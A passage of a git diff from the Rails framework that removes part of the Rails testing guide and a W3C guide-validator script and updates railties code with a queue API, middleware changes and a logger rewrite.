-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-* An optional hash of session variables to pass along with the request.
-* An optional hash of flash values.
-
-Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-
-<ruby>
-get(:show, {'id' => "12"}, {'user_id' => 5})
-</ruby>
-
-Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
-
-<ruby>
-get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-</ruby>
-
-NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
-
-Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-
-<ruby>
-test "should create post" do
- assert_difference('Post.count') do
- post :create, :post => { :title => 'Some title'}
- end
-
- assert_redirected_to post_path(assigns(:post))
-end
-</ruby>
-
-Now you can try running all the tests and they should pass.
-
-h4. Available Request Types for Functional Tests
-
-If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
-
-* +get+
-* +post+
-* +put+
-* +head+
-* +delete+
-
-All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
-
-NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
-
-h4. The Four Hashes of the Apocalypse
-
-After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
-
-* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
-* +cookies+ - Any cookies that are set.
-* +flash+ - Any objects living in the flash.
-* +session+ - Any object living in session variables.
-
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-
-<ruby>
-flash["gordon"] flash[:gordon]
-session["shmession"] session[:shmession]
-cookies["are_good_for_u"] cookies[:are_good_for_u]
-
-# Because you can't use assigns[:something] for historical reasons:
-assigns["something"] assigns(:something)
-</ruby>
-
-h4. Instance Variables Available
-
-You also have access to three instance variables in your functional tests:
-
-* +@controller+ - The controller processing the request
-* +@request+ - The request
-* +@response+ - The response
-
-h4. A Fuller Functional Test Example
-
-Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-
-<ruby>
-test "should create post" do
- assert_difference('Post.count') do
- post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
- end
- assert_redirected_to post_path(assigns(:post))
- assert_equal 'Post was successfully created.', flash[:notice]
-end
-</ruby>
-
-h4. Testing Views
-
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
-
-NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
-
-There are two forms of +assert_select+:
-
-+assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
-
-+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
-
-For example, you could verify the contents on the title element in your response with:
-
-<ruby>
-assert_select 'title', "Welcome to Rails Testing Guide"
-</ruby>
-
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
-
-<ruby>
-assert_select 'ul.navigation' do
- assert_select 'li.menu_item'
-end
-</ruby>
-
-Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-
-<ruby>
-assert_select "ol" do |elements|
- elements.each do |element|
- assert_select element, "li", 4
- end
-end
-
-assert_select "ol" do
- assert_select "li", 8
-end
-</ruby>
-
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
-
-h5. Additional View-Based Assertions
-
-There are more assertions that are primarily used in testing views:
-
-|_.Assertion |_.Purpose|
-|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. |
-|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
-|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
-
-Here's an example of using +assert_select_email+:
-
-<ruby>
-assert_select_email do
- assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-</ruby>
-
-h3. Integration Testing
-
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
-
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-
-<shell>
-$ rails generate integration_test user_flows
- exists test/integration/
- create test/integration/user_flows_test.rb
-</shell>
-
-Here's what a freshly-generated integration test looks like:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :all
-
- # Replace this with your real tests.
- test "the truth" do
- assert true
- end
-end
-</ruby>
-
-Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-
-h4. Helpers Available for Integration Tests
-
-In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-
-|_.Helper |_.Purpose|
-|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.|
-|+https!+ |Allows you to mimic a secure HTTPS request.|
-|+host!+ |Allows you to set the host name to use in the next request.|
-|+redirect?+ |Returns +true+ if the last request was a redirect.|
-|+follow_redirect!+ |Follows a single redirect response.|
-|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.|
-|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.|
-|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.|
-|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
-|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
-|+open_session+ |Opens a new session instance.|
-
-h4. Integration Testing Examples
-
-A simple integration test that exercises multiple controllers:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :users
-
- test "login and browse site" do
- # login via https
- https!
- get "/login"
- assert_response :success
-
- post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
- assert_equal '/welcome', path
- assert_equal 'Welcome avs!', flash[:notice]
-
- https!(false)
- get "/posts/all"
- assert_response :success
- assert assigns(:products)
- end
-end
-</ruby>
-
-As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
-
-Here's an example of multiple sessions and custom DSL in an integration test
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :users
-
- test "login and browse site" do
-
- # User avs logs in
- avs = login(:avs)
- # User guest logs in
- guest = login(:guest)
-
- # Both are now available in different sessions
- assert_equal 'Welcome avs!', avs.flash[:notice]
- assert_equal 'Welcome guest!', guest.flash[:notice]
-
- # User avs can browse site
- avs.browses_site
- # User guest can browse site as well
- guest.browses_site
-
- # Continue with other assertions
- end
-
- private
-
- module CustomDsl
- def browses_site
- get "/products/all"
- assert_response :success
- assert assigns(:products)
- end
- end
-
- def login(user)
- open_session do |sess|
- sess.extend(CustomDsl)
- u = users(user)
- sess.https!
- sess.post "/login", :username => u.username, :password => u.password
- assert_equal '/welcome', path
- sess.https!(false)
- end
- end
-end
-</ruby>
-
-h3. Rake Tasks for Running your Tests
-
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
-
-|_.Tasks |_.Description|
-|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
-|+rake test:benchmark+ |Benchmark the performance tests|
-|+rake test:functionals+ |Runs all the functional tests from +test/functional+|
-|+rake test:integration+ |Runs all the integration tests from +test/integration+|
-|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)|
-|+rake test:profile+ |Profile the performance tests|
-|+rake test:recent+ |Tests recent changes|
-|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Supports Subversion and Git|
-|+rake test:units+ |Runs all the unit tests from +test/unit+|
-
-
-h3. Brief Note About +Test::Unit+
-
-Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing
-us to use all of the basic assertions in our tests.
-
-NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
-
-h3. Setup and Teardown
-
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
-
-<ruby>
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
- # called before every single test
- def setup
- @post = posts(:one)
- end
-
- # called after every single test
- def teardown
- # as we are re-initializing @post before every test
- # setting it to nil here is not essential but I hope
- # you understand how you can use the teardown method
- @post = nil
- end
-
- test "should show post" do
- get :show, :id => @post.id
- assert_response :success
- end
-
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, :id => @post.id
- end
-
- assert_redirected_to posts_path
- end
-
-end
-</ruby>
-
-Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
-
-* a block
-* a method (like in the earlier example)
-* a method name as a symbol
-* a lambda
-
-Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
-
-<ruby>
-require '../test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
- # called before every single test
- setup :initialize_post
-
- # called after every single test
- def teardown
- @post = nil
- end
-
- test "should show post" do
- get :show, :id => @post.id
- assert_response :success
- end
-
- test "should update post" do
- put :update, :id => @post.id, :post => { }
- assert_redirected_to post_path(assigns(:post))
- end
-
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, :id => @post.id
- end
-
- assert_redirected_to posts_path
- end
-
- private
-
- def initialize_post
- @post = posts(:one)
- end
-
-end
-</ruby>
-
-h3. Testing Routes
-
-Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
-
-<ruby>
-test "should route to post" do
- assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
-end
-</ruby>
-
-h3. Testing Your Mailers
-
-Testing mailer classes requires some specific tools to do a thorough job.
-
-h4. Keeping the Postman in Check
-
-Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
-
-The goals of testing your mailer classes are to ensure that:
-
-* emails are being processed (created and sent)
-* the email content is correct (subject, sender, body, etc)
-* the right emails are being sent at the right times
-
-h5. From All Sides
-
-There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-
-h4. Unit Testing
-
-In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-
-h5. Revenge of the Fixtures
-
-For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
-
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-
-h5. The Basic Test Case
-
-Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
-
-<ruby>
-require 'test_helper'
-
-class UserMailerTest < ActionMailer::TestCase
- tests UserMailer
- test "invite" do
- @expected.from = 'me@example.com'
- @expected.to = 'friend@example.com'
- @expected.subject = "You have been invited by #{@expected.from}"
- @expected.body = read_fixture('invite')
- @expected.date = Time.now
-
- assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
- end
-
-end
-</ruby>
-
-In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
-
-Here's the content of the +invite+ fixture:
-
-<pre>
-Hi friend@example.com,
-
-You have been invited.
-
-Cheers!
-</pre>
-
-This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
-
-However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-
-h4. Functional Testing
-
-Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
-
-<ruby>
-require 'test_helper'
-
-class UserControllerTest < ActionController::TestCase
- test "invite friend" do
- assert_difference 'ActionMailer::Base.deliveries.size', +1 do
- post :invite_friend, :email => 'friend@example.com'
- end
- invite_email = ActionMailer::Base.deliveries.first
-
- assert_equal "You have been invited by me@example.com", invite_email.subject
- assert_equal 'friend@example.com', invite_email.to[0]
- assert_match(/Hi friend@example.com/, invite_email.body)
- end
-end
-</ruby>
-
-h3. Other Testing Approaches
-
-The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
-
-* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
-* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures.
-* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
-* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
-* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
diff --git a/railties/guides/w3c_validator.rb b/railties/guides/w3c_validator.rb
deleted file mode 100644
index f1fe1e0f33..0000000000
--- a/railties/guides/w3c_validator.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-# ---------------------------------------------------------------------------
-#
-# This script validates the generated guides against the W3C Validator.
-#
-# Guides are taken from the output directory, from where all .html files are
-# submitted to the validator.
-#
-# This script is prepared to be launched from the railties directory as a rake task:
-#
-# rake validate_guides
-#
-# If nothing is specified, all files will be validated, but you can check just
-# some of them using this environment variable:
-#
-# ONLY
-# Use ONLY if you want to validate only one or a set of guides. Prefixes are
-# enough:
-#
-# # validates only association_basics.html
-# ONLY=assoc rake validate_guides
-#
-# Separate many using commas:
-#
-# # validates only association_basics.html and migrations.html
-# ONLY=assoc,migrations rake validate_guides
-#
-# ---------------------------------------------------------------------------
-
-require 'rubygems'
-require 'w3c_validators'
-include W3CValidators
-
-module RailsGuides
- class Validator
-
- def validate
- validator = MarkupValidator.new
- STDOUT.sync = true
- errors_on_guides = {}
-
- guides_to_validate.each do |f|
- results = validator.validate_file(f)
-
- if results.validity
- print "."
- else
- print "E"
- errors_on_guides[f] = results.errors
- end
- end
-
- show_results(errors_on_guides)
- end
-
- private
- def guides_to_validate
- guides = Dir["./guides/output/*.html"]
- guides.delete("./guides/output/layout.html")
- ENV.key?('ONLY') ? select_only(guides) : guides
- end
-
- def select_only(guides)
- prefixes = ENV['ONLY'].split(",").map(&:strip)
- guides.select do |guide|
- prefixes.any? {|p| guide.start_with?("./guides/output/#{p}")}
- end
- end
-
- def show_results(error_list)
- if error_list.size == 0
- puts "\n\nAll checked guides validate OK!"
- else
- error_summary = error_detail = ""
-
- error_list.each_pair do |name, errors|
- error_summary += "\n #{name}"
- error_detail += "\n\n #{name} has #{errors.size} validation error(s):\n"
- errors.each do |error|
- error_detail += "\n "+error.to_s.gsub("\n", "")
- end
- end
-
- puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
- puts "\nHere are the detailed errors for each guide:" + error_detail
- end
- end
-
- end
-end
-
-RailsGuides::Validator.new.validate
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 73bdd0b552..670477f91a 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -5,40 +5,32 @@ require 'pathname'
require 'active_support'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/logger'
require 'rails/application'
require 'rails/version'
+require 'rails/deprecation'
require 'active_support/railtie'
require 'action_dispatch/railtie'
-# For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the
-# multibyte safe operations. Plugin authors supporting other encodings
-# should override this behavior and set the relevant +default_charset+
-# on ActionController::Base.
-#
# For Ruby 1.9, UTF-8 is the default internal and external encoding.
-if RUBY_VERSION < '1.9'
- $KCODE='u'
-else
- silence_warnings do
- Encoding.default_external = Encoding::UTF_8
- Encoding.default_internal = Encoding::UTF_8
- end
+silence_warnings do
+ Encoding.default_external = Encoding::UTF_8
+ Encoding.default_internal = Encoding::UTF_8
end
module Rails
autoload :Info, 'rails/info'
autoload :InfoController, 'rails/info_controller'
+ autoload :Queueing, 'rails/queueing'
class << self
def application
- @@application ||= nil
+ @application ||= nil
end
def application=(application)
- @@application = application
+ @application = application
end
# The Configuration instance used to configure the Rails environment
@@ -46,28 +38,43 @@ module Rails
application.config
end
+ # Rails.queue is the application's queue. You can push a job onto
+ # the queue by:
+ #
+ # Rails.queue.push job
+ #
+ # A job is an object that responds to +run+. Queue consumers will
+ # pop jobs off of the queue and invoke the queue's +run+ method.
+ #
+ # Note that depending on your queue implementation, jobs may not
+ # be executed in the same process as they were created in, and
+ # are never executed in the same thread as they were created in.
+ #
+ # If necessary, a queue implementation may need to serialize your
+ # job for distribution to another process. The documentation of
+ # your queue will specify the requirements for that serialization.
+ def queue
+ application.queue
+ end
+
def initialize!
application.initialize!
end
def initialized?
- @@initialized || false
- end
-
- def initialized=(initialized)
- @@initialized ||= initialized
+ application.initialized?
end
def logger
- @@logger ||= nil
+ @logger ||= nil
end
def logger=(logger)
- @@logger = logger
+ @logger = logger
end
def backtrace_cleaner
- @@backtrace_cleaner ||= begin
+ @backtrace_cleaner ||= begin
# Relies on Active Support, so we have to lazy load to postpone definition until AS has been loaded
require 'rails/backtrace_cleaner'
Rails::BacktraceCleaner.new
@@ -87,7 +94,11 @@ module Rails
end
def cache
- RAILS_CACHE
+ @cache ||= nil
+ end
+
+ def cache=(cache)
+ @cache = cache
end
# Returns all rails groups for loading based on:
@@ -96,14 +107,11 @@ module Rails
# * The environment variable RAILS_GROUPS;
# * The optional envs given as argument and the hash with group dependencies;
#
- # == Examples
- #
# groups :assets => [:development, :test]
#
# # Returns
# # => [:default, :development, :assets] for Rails.env == "development"
# # => [:default, :production] for Rails.env == "production"
- #
def groups(*groups)
hash = groups.extract_options!
env = Rails.env
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 01ceb80972..eabe566829 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -4,9 +4,8 @@ require "rails"
active_record
action_controller
action_mailer
- active_resource
rails/test_unit
- sprockets
+ sprockets/rails
).each do |framework|
begin
require "#{framework}/railtie"
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index cbb2d23238..c4edbae55b 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,7 +1,4 @@
-require 'active_support/core_ext/hash/reverse_merge'
-require 'active_support/file_update_checker'
require 'fileutils'
-require 'rails/plugin'
require 'rails/engine'
module Rails
@@ -10,7 +7,7 @@ module Rails
#
# == Initialization
#
- # Rails::Application is responsible for executing all railties, engines and plugin
+ # Rails::Application is responsible for executing all railties and engines
# initializers. It also executes some bootstrap initializers (check
# Rails::Application::Bootstrap) and finishing initializers, after all the others
# are executed (check Rails::Application::Finisher).
@@ -20,7 +17,7 @@ module Rails
# Besides providing the same configuration as Rails::Engine and Rails::Railtie,
# the application object has several specific configurations, for example
# "allow_concurrency", "cache_classes", "consider_all_requests_local", "filter_parameters",
- # "logger", "reload_plugins" and so forth.
+ # "logger" and so forth.
#
# Check Rails::Application::Configuration to see them all.
#
@@ -33,6 +30,25 @@ module Rails
#
# The Application is also responsible for building the middleware stack.
#
+ # == Booting process
+ #
+ # The application is also responsible for setting up and executing the booting
+ # process. From the moment you require "config/application.rb" in your app,
+ # the booting process goes like this:
+ #
+ # 1) require "config/boot.rb" to setup load paths
+ # 2) require railties and engines
+ # 3) Define Rails.application as "class MyApp::Application < Rails::Application"
+ # 4) Run config.before_configuration callbacks
+ # 5) Load config/environments/ENV.rb
+ # 6) Run config.before_initialize callbacks
+ # 7) Run Railtie#initializer defined by railties, engines and application.
+ # One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
+ # 9) Custom Railtie#initializers added by railties, engines and applications are executed
+ # 10) Build the middleware stack and run to_prepare callbacks
+ # 11) Run config.before_eager_load and eager_load if cache classes is true
+ # 12) Run config.after_initialize callbacks
+ #
class Application < Engine
autoload :Bootstrap, 'rails/application/bootstrap'
autoload :Configuration, 'rails/application/configuration'
@@ -50,14 +66,17 @@ module Rails
end
end
- attr_accessor :assets, :sandbox
+ attr_accessor :assets, :sandbox, :queue_consumer
alias_method :sandbox?, :sandbox
+ attr_reader :reloaders
+ attr_writer :queue
delegate :default_url_options, :default_url_options=, :to => :routes
def initialize
super
@initialized = false
+ @reloaders = []
end
# This method is called just after an application inherits from Rails::Application,
@@ -83,68 +102,133 @@ module Rails
require environment if environment
end
+ # Reload application routes regardless if they changed or not.
def reload_routes!
routes_reloader.reload!
end
- def routes_reloader
+ def routes_reloader #:nodoc:
@routes_reloader ||= RoutesReloader.new
end
- def initialize!(group=:default)
+ # Returns an array of file paths appended with a hash of directories-extensions
+ # suitable for ActiveSupport::FileUpdateChecker API.
+ def watchable_args
+ files, dirs = config.watchable_files.dup, config.watchable_dirs.dup
+
+ ActiveSupport::Dependencies.autoload_paths.each do |path|
+ dirs[path.to_s] = [:rb]
+ end
+
+ [files, dirs]
+ end
+
+ # Initialize the application passing the given group. By default, the
+ # group is :default but sprockets precompilation passes group equals
+ # to assets if initialize_on_precompile is false to avoid booting the
+ # whole app.
+ def initialize!(group=:default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@initialized = true
self
end
+ def initialized?
+ @initialized
+ end
+
+ # Load the application and its railties tasks and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.rake_tasks</tt> for more info.
def load_tasks(app=self)
initialize_tasks
super
self
end
+ # Load the application console and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.console</tt> for more info.
def load_console(app=self)
initialize_console
super
self
end
- # Rails.application.env_config stores some of the Rails initial environment parameters.
- # Currently stores:
- #
- # * action_dispatch.parameter_filter" => config.filter_parameters,
- # * action_dispatch.secret_token" => config.secret_token,
- # * action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
- #
- # These parameters will be used by middlewares and engines to configure themselves.
- #
+ # Stores some of the Rails initial environment parameters which
+ # will be used by middlewares and engines to configure themselves.
def env_config
@env_config ||= super.merge({
"action_dispatch.parameter_filter" => config.filter_parameters,
"action_dispatch.secret_token" => config.secret_token,
- "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
+ "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+ "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+ "action_dispatch.logger" => Rails.logger,
+ "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner
})
end
- def initializers
+ # Returns the ordered railties for this application considering railties_order.
+ def ordered_railties #:nodoc:
+ @ordered_railties ||= begin
+ order = config.railties_order.map do |railtie|
+ if railtie == :main_app
+ self
+ elsif railtie.respond_to?(:instance)
+ railtie.instance
+ else
+ railtie
+ end
+ end
+
+ all = (railties.all - order)
+ all.push(self) unless all.include?(self)
+ order.push(:all) unless order.include?(:all)
+
+ index = order.index(:all)
+ order[index] = all
+ order.reverse.flatten
+ end
+ end
+
+ def initializers #:nodoc:
Bootstrap.initializers_for(self) +
super +
Finisher.initializers_for(self)
end
- def config
+ def config #:nodoc:
@config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
end
+ def queue #:nodoc:
+ @queue ||= build_queue
+ end
+
+ def build_queue # :nodoc:
+ config.queue.new
+ end
+
def to_app
self
end
+ def helpers_paths #:nodoc:
+ config.helpers_paths
+ end
+
+ def call(env)
+ env["ORIGINAL_FULLPATH"] = build_original_fullpath(env)
+ super(env)
+ end
+
protected
alias :build_middleware_stack :app
+ def reload_dependencies?
+ config.reload_classes_only_on_change != true || reloaders.map(&:updated?).any?
+ end
+
def default_middleware_stack
ActionDispatch::MiddlewareStack.new.tap do |middleware|
if rack_cache = config.action_controller.perform_caching && config.action_dispatch.rack_cache
@@ -153,8 +237,11 @@ module Rails
end
if config.force_ssl
- require "rack/ssl"
- middleware.use ::Rack::SSL, config.ssl_options
+ middleware.use ::ActionDispatch::SSL, config.ssl_options
+ end
+
+ if config.action_dispatch.x_sendfile_header.present?
+ middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
end
if config.serve_static_assets
@@ -164,17 +251,24 @@ module Rails
middleware.use ::Rack::Lock unless config.allow_concurrency
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
- middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods
- middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local
+ middleware.use ::ActionDispatch::RequestId
+ middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods
+ middleware.use ::ActionDispatch::ShowExceptions, config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+ middleware.use ::ActionDispatch::DebugExceptions
middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
- if config.action_dispatch.x_sendfile_header.present?
- middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+ unless config.cache_classes
+ app = self
+ middleware.use ::ActionDispatch::Reloader, lambda { app.reload_dependencies? }
end
- middleware.use ::ActionDispatch::Reloader unless config.cache_classes
+
middleware.use ::ActionDispatch::Callbacks
middleware.use ::ActionDispatch::Cookies
if config.session_store
+ if config.force_ssl && !config.session_options.key?(:secure)
+ config.session_options[:secure] = true
+ end
middleware.use config.session_store, config.session_options
middleware.use ::ActionDispatch::Flash
end
@@ -190,7 +284,7 @@ module Rails
end
end
- def initialize_tasks
+ def initialize_tasks #:nodoc:
self.class.rake_tasks do
require "rails/tasks"
task :environment do
@@ -200,10 +294,22 @@ module Rails
end
end
- def initialize_console
+ def initialize_console #:nodoc:
require "pp"
require "rails/console/app"
require "rails/console/helpers"
end
+
+ def build_original_fullpath(env)
+ path_info = env["PATH_INFO"]
+ query_string = env["QUERY_STRING"]
+ script_name = env["SCRIPT_NAME"]
+
+ if query_string.present?
+ "#{script_name}#{path_info}?#{query_string}"
+ else
+ "#{script_name}#{path_info}"
+ end
+ end
end
end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index 0aff05b681..e567df7162 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -24,40 +24,41 @@ module Rails
initializer :initialize_logger, :group => :all do
Rails.logger ||= config.logger || begin
path = config.paths["log"].first
- logger = ActiveSupport::BufferedLogger.new(path)
- logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase)
- logger.auto_flushing = false if Rails.env.production?
+ unless File.exist? File.dirname path
+ FileUtils.mkdir_p File.dirname path
+ end
+
+ f = File.open path, 'a'
+ f.binmode
+ f.sync = config.autoflush_log # if true make sure every write flushes
+
+ logger = ActiveSupport::Logger.new f
+ logger.formatter = config.log_formatter
+ logger = ActiveSupport::TaggedLogging.new(logger)
+ logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
logger
rescue StandardError
- logger = ActiveSupport::BufferedLogger.new(STDERR)
- logger.level = ActiveSupport::BufferedLogger::WARN
+ logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
+ logger.level = ActiveSupport::Logger::WARN
logger.warn(
"Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
"The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
)
logger
end
- at_exit { Rails.logger.flush if Rails.logger.respond_to?(:flush) }
end
# Initialize cache early in the stack so railties can make use of it.
